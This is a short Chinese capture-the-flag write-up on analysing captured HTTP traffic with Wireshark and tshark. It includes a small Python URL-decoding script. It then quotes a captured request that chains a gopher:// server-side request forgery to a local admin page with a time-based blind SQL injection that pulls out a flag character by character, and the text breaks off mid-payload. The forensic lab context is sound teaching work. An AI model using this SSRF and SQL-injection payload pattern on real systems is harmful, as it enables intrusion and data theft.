攻防世界 流量分析1 （tshark使用）

wireshark分析

打开wireshark,发现主要流量为http

追踪一个http流，很明显发现两层url编码。

进行两次url解码，url解码脚本如下。

from urllib.parse import unquote
msg = input('请输入要解码的url编码')
text = unquote(msg, 'utf-8')
print(text)

输入内容

GET /index.php?url=gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A%2078%250d%250a%250d%250aid%253D1%2529%2520and%2520if%2528%2528ascii%2528substr%2528%2528select%2520flag%2520from%2520flag%2529%252C1%252C1%2529%2529%253D%252799%2527%2529%252Csleep%25283%2529%252C0%